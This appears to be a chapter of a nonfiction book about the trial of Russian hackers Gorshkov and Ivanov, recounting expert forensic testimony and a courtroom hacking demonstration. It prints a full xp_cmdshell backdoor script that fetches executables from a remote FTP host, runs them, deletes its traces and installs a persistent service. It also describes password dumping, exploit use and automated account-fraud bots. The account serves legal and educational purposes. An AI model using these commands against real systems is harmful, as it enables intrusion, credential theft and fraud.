In his own right, however, Gorshkov had numerous very incriminating files in his home directories. On freebsd.tech.net.ru, in the /home/kvakin account, there were directories named, among other things, backdoor, casino, ebay, l0pht, logs, redirect, and Visa. In Gorshkov’s account there also were found numerous output logs from Lomscan, a program designed to scan networked computers and mine information from them. L0phtCrack, a program for decrypting passwords and rendering them into plain text, was also found. In a subdirectory named kvakin_nt, Phil also identified several executable files (programs or scripts), including proxy.exe and proxy.sql. The first was an executable that was designed to be installed on systems running the Windows NT operating system. It redirected web traffic. The second installed a backdoor on systems running Microsoft Sequel Server software, effectively giving control of those systems to a remote computer. Another executable found on Gorshkov’s user account was called redirect. This program allowed traffic to pass through multiple computers, thus making the tracing of connections enabled by that program exceedingly difficult to trace.

Yet another executable found in this subdirectory was called pwdump. This program accessed the encrypted password file stored on Windows NT systems and dumped the contents of that file in a format that could then be cracked by L0phtCrack, which would then render the passwords on the system into plain text. The program named tdimon was also there. This executable was a sniffer program that enabled a remote user to monitor all traffic on a victim system.

The kvakin_nt directory also contained a list of ports that the SuperScan program was to look for, namely ports 80 (web services), 139 (NetBIOS Session TCP), Windows File and Printer Sharing (an extremely vulnerable port), and 1433 (Microsoft Sequel Server—used for remote access to the database).

Phil was next asked to analyze some PERL scripts that had been found on Gorshkov’s account. Floyd started with proxy.sql. Phil explained that this program contained a sequence of commands that caused the installation of a back door on a victim computer. It first caused the creation of a script on a remote, target computer, which would then connect to another computer, king.cts.com. Specifically, the script would be placed on a target computer that had been accessed through port 1433, the port assigned to Microsoft Sequel Server service. The target computer would have been selected by the use of a scanning program designed to identify which ports were open on Windows machines. Gorshkov and his confederates used both lomscan and SuperScan to reconnoiter the networks of their victims. Among the files found on Gorshkov’s account, freebsd.tech.net.ru:/home/kvakin/kvakin_nt, was a file named ports list that was used by SuperScan to determine which open ports to identify.^[5] When computers were identified that were running Microsoft Sequel Server on port 1433, the hackers would attempt to exploit a known vulnerability.

In summary, the proxy.sql script creates on the compromised target computer a new file called winnftp_comm. That file contains a series of commands that, when executed, will log on to the ctsavi account on king.cts.com, enter the password for that account (FynjyKj[), change to the directory called bd, switch to binary mode so that executables will run, and then retrieve a number of executables or programs that are contained in the bd directory.

The executable serv.exe is a utility that allows a remote user to install, unin-stall, start, stop, and otherwise control services on Windows NT machines. The executable “kill” allows a remote user to kill or stop any process that is running on the machine. The command “pslist” gives the user a list of processes that are running on the machine. The executable proxy.exe redirects web traffic intended for the target machine to another computer controlled by the hackers.

Once this series of commands is echoed or written to the file winnftp_comm, the proxy.sql script establishes an FTP (file transfer protocol) connection from the target machine to the computer king.cts.com and causes the commands to be executed.

Here is a line-by-line analysis of Government’s Exhibit 247, proxy.sql:

The first line echoes or writes the username ctsavi to a new file called winntftp_comm. Note that Alexey’s name was Alexey V. Ivanov. The next few commands add lines to that new file. The xp_comdshell indicates the command shell for MS SQL Server:

exec xp_cmdshell 'echo user ctsavi > c:winntftp_comm';

The next line writes (or displays) the password for that account, FynjyKj[. The double >> symbols denote that the new line is to be appended to the first in the same file:

exec xp_cmdshell 'echo FynjyKj[ >> c:winntftp_comm';

The next command, “echo bin,” switches to binary mode. This ensures that executables are run rather than being displayed as text:

exec xp_cmdshell 'echo bin >> c:winntftp_comm';

The command “cd bd” tells the computer to change directories to one named bd, presumably standing for “back door”:

exec xp_cmdshell 'echo cd bd >> c:winntftp_comm';

A series of three “get” commands copied several executables from the bd directory on king.cts.com to the new winntftp_comm file on the target machine. In this script, the executables named serv.exe, kill.exe, pslist.exe, and proxy.exe are copied. Note that the file named proxy.sql (provocative name) is renamed tcpsrv32.exe, a name that is very similar to one that is present on all uncorrupted Windows NT systems:

exec xp_cmdshell 'echo get serv.exe c:winntserv.exe >> c:winntftp_comm';
exec xp_cmdshell 'echo get kill.exe c:winntkill.exe >> c:winntftp_comm';
exec xp_cmdshell 'echo get pslist.exe c:winntpslist.exe >> c:winntftp_comm';
exec xp_cmdshell 'echo get proxy.exe c:winnt	cpsrv32.exe >> c:winntftp_comm';

After the script logs on to the ctsavi account on the computer named king.cts.com, switches to binary mode, and copies the executables, the “quit” command terminates the interactive session on the cts computer:

exec xp_cmdshell 'echo quit >> c:winntftp_comm;';

Up to this point, the proxy.sql script has executed only on the target or victim computer and has created a script or batch file intended to run on king.cts.com. Before it can do so, however, a connection must be established between the target machine and king.cts.com, the repository of the executables. This connection is made when the next line in the script is executed. This results in an FTP (file transfer protocol) connection from the target computer to king.cts.com. The commands in the batch file (winntftp_comm) are then executed on the cts computer, and the output is put into a new file on the target computer named setup_bd.cmd.

exec xp_cmdshell 'echo ftp -ni -s c:winntftp_comm king.cts.com >
        c:winntsetup_bd.cmd';

The next line causes the newly created setup_bd file to be executed on the target machine:

exec xp_cmdshell 'c:winntsetup_bd.cmd';

Now that they have done their dirty work, the batch files named setup_bd and ftp_comm are deleted from the target computer in order to decrease the chances of detection:

exec xp_cmdshell 'del c:winntsetup_bd.cmd';
exec xp_cmdshell 'del c:winntftp_comm';

The next line of the script creates a new service, using c:winnt cpsrv32.exe (which was proxy.exe prior to being renamed) on the local computer called TCPService. This service is set to start whenever Windows starts and runs:

exec xp_cmdshell 'serv local add TCPService
        "c:winnt	cpsrv32.exe service " /TYPE:WIN32OWN /STARTUP:AUTO';

The final command line starts the newly added service, thus installing the back door immediately:

exec xp_cmdshell 'serv local start TCPService';

The kvakin_nt directory contained in Gorshkov’s account (kvakin) on freebsd.tech.net.ru also contained other PERL scripts that were designed to connect to the ctsavi account on king.cts.com in San Diego, switch to the bd directory there, and then download and run executable hacking tools on victim computers. One of those scripts, Government’s Exhibit 249, redirect.sql, is very similar to the proxy.sql script that you just looked at, but it retrieves a file called redirect.exe instead of proxy.exe. Unlike a proxy connection, which allows the users to go one hop to another computer, the redirector allows the users to send traffic through multiple computers that have been linked together. This practice would make it extremely difficult to trace back a connection to see where it originated.

Another PERL script, called sql.txt,^[6] functions in the same manner as the two previously discussed in this chapter, assembling a series of commands, then logging in to king.cts.com, retrieving executables, and then running them on the target computer. This script, however, retrieves executables named pwdump, which will copy the encrypted passwords on Windows NT systems; Lomscan, the scanner that runs under Windows NT; and transcmd, startcmd, and 26405.exe. The latter three programs together set up a telnet server that will run on port 26405, a port number that is above the range of those normally found on an uncorrupted computer. As a result of running this script on a victim computer, the hackers would be able to log on to telnet on a high port. They would also be able to access any network that was located behind the compromised machine. Significantly, the three scripts, proxy.sql, redirect.sql, and sql.txt were found only on Gorshkov’s account on freebsd.tech.net.ru, namely in the directory /home/kvakin/kvakin_nt. They were not found elsewhere on either computer—tech.net.ru nor freebsd.tech.net.ru.

Figure 12.1, the bd (back door?) directory found on the ctsavi shell account on the CTS computer king.cts.com, contained a cornucopia of hacking tools, as well as a few programs used by legitimate system administrators.

Figure 12.1. Government’s Exhibit 951, a listing of the contents of the bd directory on Ivanov’s shell account on king.cts.com.

Also found in the kvakin_nt directory on Gorshkov’s account was the install kit and source code for the password-cracking program, L0phtCrack.^[7] Also in the same directory was the readme file from L0phtCrack, which helpfully explained that L0phtCrack “is a tool for turning Microsoft LANMAN (Local Area Network Manager) and NT password hashes (encrypted files) back into the original clear text passwords.” This program does this using dictionary cracking and also brute force.^[8] In other words, this program is designed to copy encrypted passwords on Windows-based systems and then break them.

Dictionary attacks, Phil explained, compare a dictionary listing of ordinary words against the encrypted password. If the password is weak, consisting of ordinary words or names (such as that of a pet), the dictionary attack will reveal the password in plain text after a relatively brief processing time. The shorter the word used for the password, the faster L0phtCrack can break it. If, on the other hand, a copied password does not consist of a word but, rather, a random series of characters, the brute force attack mode in L0phtCrack will assemble the same number of characters as is contained in the password, and then cycle through all possible combinations of that number of characters. This process, of course, takes a lot longer—perhaps up to several days. The stronger the password, the more difficult it is for a brute force attack to succeed. Thus, security experts advise people to use passwords that do not contain words and to use a combination of uppercase and lowercase letters, plus numbers and characters. The longer the password, the more difficult it is to break.

Phil testified that he had found a 480-page dictionary in the directory freebsd:/home/kvakin/kvakin_nt. The file, residing on Gorshkov’s account, was named WFILE.TXT, and would be used by L0phtCrack in its dictionary attacks. It contained a listing of approximately 25,000 entries, starting with “A,” and ending with “zygote.”^[9]

Here’s an excerpt from the dictionary used with the L0phtCrack password-breaking program:

A
A&P
AAA
AAAS
AAU
ABA
AC
…
Aarhus
Aaron
…
Ababa
Abbott
Abe
…
Abigail
Abner

Note the inclusion of surnames and given names, as well as common abbreviations.

On Gorshkov’s same directory, Phil found a number of files containing the output from the L0phtCrack program. He explained two examples. The first, Government’s Exhibit 267, was named 206.128.213.10.txt, the IP address of a victim computer. It contained a copy of an encrypted password from the victim computer. The next file, shown in Figure 12.2, displays the password in plain text after L0phtCrack has broken in. The password is admin, which, as you can see, is a very weak password indeed.

Figure 12.2. Excerpt from Government’s Exhibit 267A, depicting the output from L0phtCrack after it has broken the hashed password.

Floyd then asked Phil to explain how the various tools found on Gorshkov’s account on freebsd.tech.net.ru that he had been discussing might work together.

Phil explained: “What you would do the first thing would be to take a scanner, or you would identify targets or candidate machines and you take a scanning program and you execute that to determine what software, what system, what services are available on the system.

You attempt to identify specific versions of software where you would have an exploit. For example, something that would exploit a fault in Microsoft IIS, their web server [program]. You then go, and you would use one of the exploits to embed a kit that would allow you—embed a root kit that would allow you to obtain the password hashes or also install lomscan so you could scan an internal network.

But your end objective is to bring back the password hashes and crack that (sic). You’re essentially stepping into the front door of a network. And if there is a hidden network behind it, you can propagate your activity through all of the machines of that network that you can’t normally see. And you can spread from there, as you have remote control of the systems.”

Next Floyd and Phil turned to the other Russian computer, tech.net.ru. Figure 12.3, prepared by Phil, depicts the files within the kvakin account on that machine, together with the directories and the files that they contained. One of the directories, called http, contained a scanner program descriptively named fuckIIS. This program was designed to scan the Microsoft Internet Information Server program used to run web servers. The output from the scanner was saved to a file called iis_hosts.txt.

Figure 12.3. Directory tree from tech.net.ru, listing directories and files on /home/kvakin.

Phil examined the file named fuckIIS and determined that it was yet another PERL script. When run against a target computer, the program first attempts to connect on port 80, the port number used by http (web services), and looks for IIS. If that service is installed on the target computer, the name of the computer is written to the output file (called iis_hosts.txt). Next, the scanner attempts to connect on port 139 (NetBIOS Session Service) and, if that port is open, that information is appended to the output file. Finally, the fuckIIS scanner attempts to connect on port 1433 (Microsoft SQL Server) and, if successful, it writes that information to the output file, as well.

Figure 12.4 illustrates what the scanning program does. It produces a list of websites, all of which have IIS running on port 80. In addition, it identifies those machines that are running SQL Server on port 1433, as well as those that have port 139 open for Microsoft network file sharing services. Significantly, each of these processes had known vulnerabilities that could be exploited by the hackers. The next step in the process of hacking the identified systems would be to run hacking software tools, or exploits, that were designed to take advantage of known vulnerabilities in order to take control of the boxes.

Figure 12.4. Government’s Exhibit 137 (excerpt) showing output of the scanning program.

One such exploit was a script found on Gorshkov’s tech.net.ru account, called msadc. It was designed to take advantage of flaws in Microsoft IIS.

The msadc exploit was developed by “rainforest puppy,” and then published via the web. According to PC World,

The ethics of publishing programs designed to exploit software flaws in order to break into private systems is hotly controversial in the Information Technology world.

Like the executables run by the PERL scripts proxy.sql and redirect.sql, the msadc exploit resided on the ctsavi account at king.cts.com. First, a script named msadc.sh~ was programmed to connect to king.cts.com, enter the username and password for the account ctsavi, and then change (cd) to a directory named nara. Next, it copies an executable from the nara directory named 25.exe. Now, port 25 is used by Simple Mail Transfer Protocol (SMTP), the process that handles most basic email on the Internet. When the script is copied to the victim computer, it stops the mail service on that machine, thus making port 25 available for malicious purposes. Then, the script installs the executable 25.exe, renaming it NTAlerter. This creates a telnet service on the victim computer at port 25 and gives the hackers the ability to telnet to that machine on port 25 and obtain complete administrator privileges. The script also automatically harvests data from the victim computer and sends it via FTP to the hackers’ machine.

Floyd and Phil then took up some of the PERL scripts that were designed to create email accounts, PayPal accounts, and manipulate data on eBay. All of the scripts discussed next were found in Gorshkov’s account on the Russian computer named tech.net.ru (/home/kvakin).

The script named “getownemail”^[11] was designed to emulate the behavior of a person at a keyboard using a web browser to create an email account at a free web-based email provider. When a person sitting at a computer that is running a web browser, such as Internet Explorer, wishes to create such an email account, he or she connects to the website and is presented with a screen with fields that must be filled in. This is generally done by typing at the keyboard. This script (getownemail), however, automatically generates output that looks identical to what would be produced by a person. The result is the creation of a new web-based email account. The process takes a few seconds.^[12]

Initially, the script connected to a database named mm on the Russian computer, using the password YtGhjcnj. This database was not recovered by the FBI during the download, but, because of its use by various PERL scripts, Phil was able to reach conclusions about what it contained. The getownemail script then accessed a file called register.htm and selected a domain name from a listing used by MyOwnEmail. Indeed, that company’s claim to fame was the fact that it had registered hundreds of unique domain names, which its customers could use for their email addresses. They included the names of musical groups (smashing-pumpkins.com), TV shows (bay-watch.com), movies (pulp-fiction.com), insults (youareadork.com), and the merely whimsical (smileyface.com). In all, MyOwnEmail had hundreds of domain names available.

The script was programmed to enter 10/10/1969 as a date of birth for all newly opened email accounts. Likewise, the same password, q1w2e3r4, was entered for each new account. The username generated by the script alternated a randomly selected consonant, vowel, consonant, vowel, and ended with a consonant. The length of the username was random. If the script were successful in creating a new email address at MyOwnEmail, a temp file would be generated telling the “user” that his or her new email address had been successfully created. Hundreds of such files were recovered from the kvakin account on tech.net.ru. Figure 12.5 is an example of the page that would be generated whenever a new email account was opened. Significantly, the presence on the Russian machine of the temp file was strong evidence that the script had been run from that machine.

Figure 12.5. Government’s Exhibit 130 (excerpt). Note the use of random consonants and vowels for the username and the password q1w2e3r4.

Other versions of this same script existed that, instead of randomly picking alternating consonants and vowels for a username, used variants of the name “Greg Stivenson.” You will recall that this was an alias used by the hackers in their early dealings with PayPal. Again, the email accounts were opened at MyOwnEmail.com, using that company’s domain names. Figure 12.6 shows a small sample of the hundreds of “Greg Stivenson” email accounts that were opened at MyOwnEmail.com. Most of these accounts were opened from two IP addresses—133.78.216.28, registered to the Musashi Institute of Technology, near Tokyo, Japan, and 195.128.157.61, registered to the Memphis K-12 Michigan School District, but used by tech.net.ru to host its web.

Figure 12.6. Excerpt from Government’s Exhibit 601A. Note the clever domain names supplied by MyOwnEmail.

During the trial, the Government called a witness from Quantum Computer Services, Joseph Farrell, to explain MyOwnEmail.com. Mr. Farrell explained that from 1997 through calendar year 2000, MyOwnEmail had been a free, web-based email service. (The company had recently added some paid account services, but this had not been the case during the time period relevant to the case.) MyOwnEmail was based upon an innovative and whimsical idea. The company had registered more than 200 domain names that users could choose as part of their email addresses.

During his questioning of Mr. Farrell, Steve introduced and displayed a listing of domain names registered to his company. The names included sports teams (bullsfan.com), TV shows (allmychildren.com or bay-watch.com), movies (pulp-fiction.com), and the merely whimsical (cuteandcuddly.com). As Steve was more-or-less randomly choosing domain names to read aloud as examples, his eye fell upon a domain name that promised to offer some fun. He glanced briefly at the Government’s table, where Special Agents Schuler and Prewett were sitting with their shaved (and mostly bald) heads. Then he passed his eyes over the bald pate of Judge Coughenour, turned to face the jury, and intoned “baldandsexy.com.”

“You just pulled that out of the air, did you?” asked the Judge, while the courtroom filled with laughter. It is true that courtrooms, especially Federal courtrooms, are solemn and formal places where an old-world decorum prevails. Nevertheless, experienced lawyers and judges do, at times, indulge in a gentle teasing of one another, just as others share humor in their work places. This one went well and brought a welcome moment of levity to the proceedings.

Mr. Farrell had been asked to make some queries of his company’s computers in order to look for patterns that fit the PERL scripts used in this case. He found two patterns. The first involved the opening of accounts in variants on the name of Greg Stivenson. In Figure 12.6, you can see the password q1w2e3r4 specified by the script, as well as the birthday of 10/10/1969.

Mr. Farrell also queried his system for usernames that were made up of alternating consonants and vowels and ended with a consonant. He found that on August 23, 2000, 1,729 email accounts had been opened that matched that username pattern. Each one had a password of q1w2e3r4, a birth date of 10/10/1969, and was opened from the same IP address. The system at MyOwnEmail was not logging the creation times during that time period. Nevertheless, Mr. Farrell was able to offer his opinion that a person would not have been able to open so many accounts in one day from a keyboard. Therefore, he believed that a script or “bot” had been used to create them. Although many of the emails received at these numerous accounts had been deleted by the system, Mr. Farrell did recover a number of messages sent to “Greg Stivenson” from PayPal, congratulating him on opening a new PayPal account.

Mr. Farrell explained that MyOwnEmail was a small company with only a few employees. The opening of some 2,000 accounts in a single day would have had a large impact on the company. Not only would the large number have slowed down the system, but also each new account would have received emails from advertisers that sponsored the company website. Because the accounts were free, new users agreed to receive advertising (spam) as a condition of opening an account. Because of the unusual pattern shown by these new accounts, employees were taken off other duties in order to research an apparent abuse of the system. It was a costly attack for the small company.

Next, Mr. Farrell looked at some files that had been found on Gorshkov’s home directory at tech.net.ru. The first, named main_accounts, was a seven-page list of greg_stiv email addresses at MyOwnEmail.^[13] The second file, named /home/kvakin/mails/registerhtm, was a listing of all of MyOwnEmail’s domain names. Finally, Mr. Farrell identified a copy of a page that was sent to each newly established email account. “SUCCESS!” the message read. “Your new email address has been established and is ready to use!”^[14] One of the messages went on to say: “Your new account information is as follows: Your New Address: [email protected]. Your Password: q1w2e3r4.” Because these three files had been recovered from Gorshkov’s home account on tech.net.ru, it was highly likely that the scripts responsible for opening accounts at MyOwnEmail had been run by Gorshkov himself.

Phil then began to explain what the various PERL scripts were designed to do. Turning to the computer named freebsd.tech.net.ru, Phil identified several files that were found in Gorshkov’s home account on that computer.^[15] Among the more interesting of the contents of that directory were PERL scripts named solded, randinfo, and func.

The script named solded was 22 pages long and called up two other files, randinfo.pl and func.pl. The script was from a redirect host that, in turn, had been connected to from yet another compromised computer. This would create the appearance that the script was being run from a computer other than the one that was actually hosting the process. The solded script creates and manipulates auctions on eBay.

The solded script was written to connect to a large database on the Russian computer named mm, from which it would obtain other information needed to open accounts on eBay. This database, you may recall, had not been recovered from the computers in Russia, but the uses to which it was put by the various scripts provided clear evidence of what types of information were in it. One series of commands randomly obtained: first names, last names, passwords, a country identity, city, state, ZIP code, and phone number. Next, the script connected to mail.com and created a new email address and registered a new account at eBay. It then associated a random (stolen) credit card number with the new account. The new eBay accounts could be used either for buying or selling goods. If a buyer transaction was being generated, the script would track the other bidders on the auction and automatically increase the bid price to ensure that the hackers had the highest bid. If a seller transaction was being created, the script automated bids by other accounts controlled by the hackers. This would run up the price of the item to be sold.

Finally, once a purchase or sale was successfully completed, the solded script queried a database called feedbacks and randomly chose a positive feedback for the auction from a large listing of feedbacks that had actually been harvested from the eBay website. Typical feedback remarks read “great transaction, thanks so much,” or “Great service!” Aptly, the feedbacks table was part of a database named fuckebay.

In fact, the hackers were not selling goods over eBay. They generated these auction activities in order to give cover to their use of PayPal to generate credit card charges that they could collect or use to purchase goods from online sellers. Indeed, it was not unusual for the hackers to be both seller and buyer on the same items. Several examples of this were highlighted during Phil’s testimony. Because eBay’s auditing system was complex and cumbersome, it was not practical to tease out all of the auctions in which this duplicity occurred. Instead, two examples were connected up for the jury. A Canon camera and a Sony camcorder had each been the subjects of both a sale and a purchase by the hackers. This was pretty damning evidence, as one would be hard-pressed to come up with a legitimate reason for doing so.

In order to understand how this part of the fraud worked, it is necessary to turn to the PERL scripts that ran against PayPal, the online company that facilitated payments to and from its customers. A file named gethttps was found on Gorshkov’s account on tech.net.ru. This was another PERL script. Without going into a lot of technical detail, this particular script was used to open new accounts at PayPal. Like the previous one, it queried databases to randomly assign email addresses, credit card numbers, and associated names. It then signed in to PayPal and created a new account, using the now-familiar password q1w2e3r4. The automated process was also programmed to transfer money, in the form of credit card transactions, from one account to another. Significantly, the dollar amounts of these transactions were limited to $500, because amounts higher than that would trigger monitoring by PayPal. Consequently, if a higher dollar amount was involved, the script broke the transaction up into increments of $500 or less.

In summary, Gorshkov and Ivanov’s computers in Russia contained a number of fairly sophisticated scripts that were designed to create various accounts and manipulate them in order to obtain money from the stolen credit card accounts. In all of these instances, the scripts were designed to emulate a user at a keyboard, using a web browser (such as Microsoft Internet Explorer) to connect to a website. In other words, the scripts interacted with the victims’ web-based businesses in precisely the manner for which those websites had been designed.

Steve and Floyd had early divined that Gorshkov’s planned defense was to claim that Ivanov and others had perpetrated all of the illegal hacking activities, and that he (Gorshkov) was an innocent and naïve businessman who was trying to establish a legitimate computer business. Likewise, his counsel could argue that the mere presence of various scripts on his home accounts did not prove that Gorshkov actually ran those scripts. At least some of them, after all, were freely available on the Internet. The scripts emulated a user at a keyboard, however, and when one creates or uses an account at eBay or at PayPal, one gets an almost immediate message from that entity reflecting the transaction. Numerous such messages were recovered from Gorshkov’s accounts on the Russian computers, demonstrating that the scripts had been run from those accounts.^[16]

Phil also examined a spreadsheet that had been prepared by John Kothanek at PayPal, reflecting connections to the PayPal site. He found that many of the IP addresses from which connections were made to PayPal were also reflected in the kvakin bash history. In fact, he found that 559 connections to PayPal had been initiated by user kvakin. Those connections did not include any that had been made from compromised proxy machines, such as Musashi Institute of Technology in Japan. User kvakin had been busy.

Following the noon recess of the second day of his testimony, Phil actually ran a demonstration of a computer intrusion using the scripts and files found in Gorshkov’s account directories, as well as some that those scripts accessed automatically. There were two large, 35-inch monitors in front of the jury. During the noon recess, Phil and the FBI agents had connected the “hacker” computer to one and the “target” computer to the other. The target machine was running on Windows NT4 (the most popular operating system for enterprise networks) and had Microsoft’s IIS4 web server software. The attacking machine had a dual-boot configuration, containing both Microsoft Windows 95 and Linux operating systems. To switch from one to the other, Phil would have to reboot the attacking machine.

“I’ll be demonstrating,” he explained, “the use of a port scanner, password tracker^[18] (sic), the msadc exploit, root kit backdoored, and also be making use of some of the features we saw on some of scripts that automatically generate a script and log into another computer to download a kit.” The jurors exchanged glances and shifted in their seats. “This,” they seemed to say, “should prove interesting.” Most people go through a lifetime without actually seeing a computer attack in process.

Phil continued that he would begin by using SuperScan, a Windows-based scanner to learn what ports were open on the target machine. He also would use the L0phtCrack 2.5 password cracker program that had been downloaded from the Russian computer and would run the msadc exploit. He had modified that program, he clarified, so that it would connect with his “hacker” machine rather than the computer named king.cts.com, which was located in San Diego, California, and might well be off-line at that time.

Following his brief introductory remarks, Floyd asked Judge Coughenour’s permission for Phil to leave the witness stand and approach the “hacker” computer. After the Judge said “very well,” Steve observed that the defense team could not see the large monitors. Although, throughout the trial the Exhibits had been displayed on monitors on both counsel tables, as well as the bench and the witness stand, the hacking demonstration utilized only the large monitors in front of the jury box. Steve, gesturing toward the defense table, asked: “Your Honor, may we move around?” Permission was promptly granted, and the entire prosecution and defense teams trooped to the end of the jury box, from where they could see both monitors.

Standing now in front of the “hacker” computer, Phil, explaining as he proceeded, attempted to make a telnet connection to the “target” machine on port 26405. (You will recall that this high port number is not routinely used on properly configured computers.) This attempt resulted in a window popping up that said “connection failed.” Port 26405 was not open on the target machine.

Next, Phil ran SuperScan against the target in order to reveal the operating system and what ports were open there. Among the open ports was port 80, used by web services. From the information just obtained, Phil knew that the target machine might be vulnerable to an attack using the script msadc. Readers may recall that this program, developed by a hacker who went by the name “rainforest puppy,” exploited vulnerabilities in the Microsoft IIS Web Server software.

Phil had to reboot the “hacker” machine into the Linux operating system in order to run the msadc exploit. Phil pressed the “Turn Off Computer” button and watched while Windows began its shutdown procedure. Now, anyone who uses a computer knows that re-booting a Windows-based machine takes time. In front of an audience that includes a scowling, impatient Federal Judge who has repeatedly urged the lawyers to “move things along,” that time seemed interminable. After several minutes of shut-down, Phil simply pulled the power cord. When he plugged the power back in and turned on the machine, he, of course, got a pop-up message that the computer had been improperly shut down and a system check was going to run. Phil quickly opted out of the system check and booted into Linux. Because Linux is not cluttered with many of Windows’ amenities, the boot-up proceeded quickly.

From the Linux prompt, Phil ran the program msadc against the target computer. Moments later, the jurors could see a new folder appear on the screen. It was named System32. Looking inside that folder, Phil revealed that it contained the FTP command file containing the executables kill, Lomscan, lsaprivs, mount, pwdump, and the script itself. At this point, Phil explained, he could log on to the target computer from another computer and completely control its operation. The jurors looked surprised. That had not taken very long, and it would not require a rocket scientist to run the exploit.

Now, in order to remotely log on to the target, Phil had to re-boot from Linux back into Windows. While the system was booting up, Phil used the interval to explain what was about to happen. Once again he would attempt a telnet connection to the target computer on port 26405, the connection that failed before the msadc script had run.

The re-boot having completed itself, Phil initiated a telnet session from the hacker machine to the target. He then typed in the IP address of the target (10.1.1.10) and port number 26405. After Phil entered the msadc password, the hacker monitor displayed the contents of the target machine. Phil then changed directories to System32, where the pernicious executables had been copied. Next he ran the pwdump program to copy the contents of the encrypted password file. This was stored in a file called pwdump.out. The encrypted password file was then copied to the hacker computer, where it was run through L0phtCrack. Within a few seconds, the jurors were looking at all of the passwords from the target, displayed in plain text. Phil then used the “kill” program to shut down processes that were running. When he killed the log-on program, the target crashed, revealing the blue screen of death. Phil returned to the witness stand.

The prosecution team heaved a collective sigh of relief. While Phil was very good at making computers behave, technology is notoriously fickle. It was even more so in the year 2001. The demonstration, however, had gone near-flawlessly. The jury had seen firsthand what the hackers did to their victims. The only negative result was expected—the Judge was impatient at how long the demonstration had taken.

After speaking briefly about the Toshiba laptop used by Alexey Ivanov, Phil testified about what he found on a backup tape from the Saint Clair, Michigan, County Intermediate School District. Specifically, Phil determined that the computer named Memphis on the school district’s network had been compromised and was then used as a proxy or relay for sending email. Normally, a utility program called comsat runs on a low-numbered port and notifies a designated user when new email messages arrive. On “Memphis,” that utility had been modified to run on a high-numbered port. Then the machine had been used to send emails to online sellers, soliciting the sale of goods, mostly computer components. Those goods were to be shipped to Kazakhstan. Memphis had also been reconfigured to serve as the domain name server for tech.net.ru.

One of the files from Memphis indicated to Phil that it had been compromised from the tech.net.ru system. Found in the base directory of the machine was a core file. Core files are the contents of a machine’s memory or ram that are dumped into a file when a machine crashes. This function is designed to assist a system administrator in determining what problem had caused the crash.

The file in question, Government’s Exhibit 870, showed that the popper program, which is a utility used to retrieve email from a system, had crashed during a connection from tech.net.ru.

Also recovered from the School District’s computer was the rhost (remote host) file that resides on the root directory of Linux-based computers. The entire contents of this file consisted of two plus signs, thus: + +. Normally used to designate trusted computers with which the configured machine is allowed to interact, this unusual configuration of rhost gave root access to any user from any remote computer. Memphis was wide open.

From another recovered configuration file, Phil was able to learn the names of computers for which Memphis was acting as a domain name server. Virtually all of the listed computers or networks ended in the country code ru, including tech.net.ru and formula1.com.ru. Memphis had been used as an Internet access mechanism for many Russian-based systems.

Phil concluded his direct testimony by explaining that he had written a script to search the data from the two Russian computers for credit card account numbers. There were internal references in the PERL scripts to an mm database that obviously contained many credit card account numbers, as well. That file, however, had not been obtained. In the data that had been downloaded, however, Phil found 56,000 stolen credit card account numbers.

Next, Mr. Apgood asked a series of questions designed to emphasize the fact that the identification of a user account did not necessarily prove whose butt was in the chair in front of the computer at the time that said account was used. “Unix accounts aren’t people, are they, sir?” he asked. “A number of people could have access to a Unix computer through a common user account. Would that be a safe statement to make?” Phil conceded that it was, so long as those people had been granted access permission by the settings on the system.

The kvakin account about which he had testified at length, for example, could have been accessed by any number of people, Mr. Apgood suggested. Yes, Phil conceded, “if the permissions were set up that way.”

Next, Mr. Apgood began to lay groundwork for the testimony of the defendant and other defense witnesses that other employees at tech.net.ru had root access to that system. “What information, if any, did the Government provide to you detailing which employees of Mr. Gorshkov’s business had the superuser password for the tech.net.ru computer and/or the freebsd.tech.net.ru computer?” The question was based upon sound strategy. Even if Phil did not confirm that others had root access to those systems, the question itself might plant the issue in the minds of the jurors of whether persons other than Gorshkov had unlimited access to his accounts. It also might suggest that the Government had propounded its theory of who had access and that Phil had been inclined to endorse that theory rather than make his own, independent, evaluation.

Phil did not bite. “They didn’t give me the names of any employees,” he explained. “Anything I found was on the basis of the materials delivered to me…. The log files from the systems or the history files from the system.”

Mr. Apgood tried again. “So based upon our discussion, it’s possible that every employee of Mr. Gorshkov had superuser access to these machines.”

Phil acknowledged that this was theoretically possible, but the history log files did not support that suggestion. While the system files indicated that the subbsta (Ivanov) and kvakin (Gorshkov) accounts had root access, there was no indication that other users did. “If that were the case,” Phil explained, “I would have expected to see the entries in the log files that they’d actually used. There’s no indication that they had it (root access), nor that they used it…. If there were other—if you look at the other accounts, for example if we consider the messages log file from the freebsd system, we don’t see all of the users su’ing to root.”

Mr. Apgood then had Phil look at Government’s Exhibit 209, the messages file from the root directory of freebsd.tech.net.ru. That record indicated that, on November 10 at 20:40:41, someone who was logged on to the subbsta account had entered the “su” command to obtain root access on the system. Since Gorshkov and Ivanov were on an airplane at that time, Mr. Apgood suggested that someone in Russia other than Gorshkov or Ivanov had root access to the computer. This, in fact, could have been the case if Ivanov had shared his password with someone else.

Next, Mr. Apgood took up the theme that some of the programs found on Mr. Gorshkov’s accounts could have been used for legitimate security audits on client systems. The executable called Lomscan, for example, obtained system information, account names, and passwords that might be exposed to unauthorized users. Therefore, he asked, “Lomscan could have a proper use for security audit purposes, couldn’t it?” Likewise, Mr. Apgood suggested that the password cracker program L0phtCrack, and the script used to exploit a known vulnerability in Microsoft’s IIS software for servers, could also be used as a part of legitimate security audits. Indeed, those programs are all readily available on the Internet.

Phil agreed that the programs were widely distributed and could have legal applications. Steve and Floyd were not worried by this line of questioning. Indeed, the defense had been asserting all along that the hacker tools included at least some that could be used for legitimate, authorized audits of systems. The real issue was whether they had, in fact, been intended only for legal, authorized vulnerability audits. After all, a crowbar in the hands of a remodeling contractor is a legitimate and useful tool. In the hands of a burglar standing in your back yard, however, it takes on more sinister connotations.

Having made his point, Mr. Apgood turned next to Phil’s reconstruction of the file systems on the two Russian computers. After reminding the jury that Special Agent Schuler’s initial, solo efforts to download files had resulted in the corruption of two files, he asked some questions about the “tar” program that was used by Eliot Lim to copy and compress files so that they could be transported to Seattle by FTP (file transfer protocol). The acronym tar is an abbreviation of Tape Archive, a Unix utility program for archiving files that is usually used with a compression utility to make the files smaller for transport. It was originally developed to make system backups on magnetic tape. By the time of the events that were the subject of this trial, the “tar” command could be used to create archive files anywhere on the system.

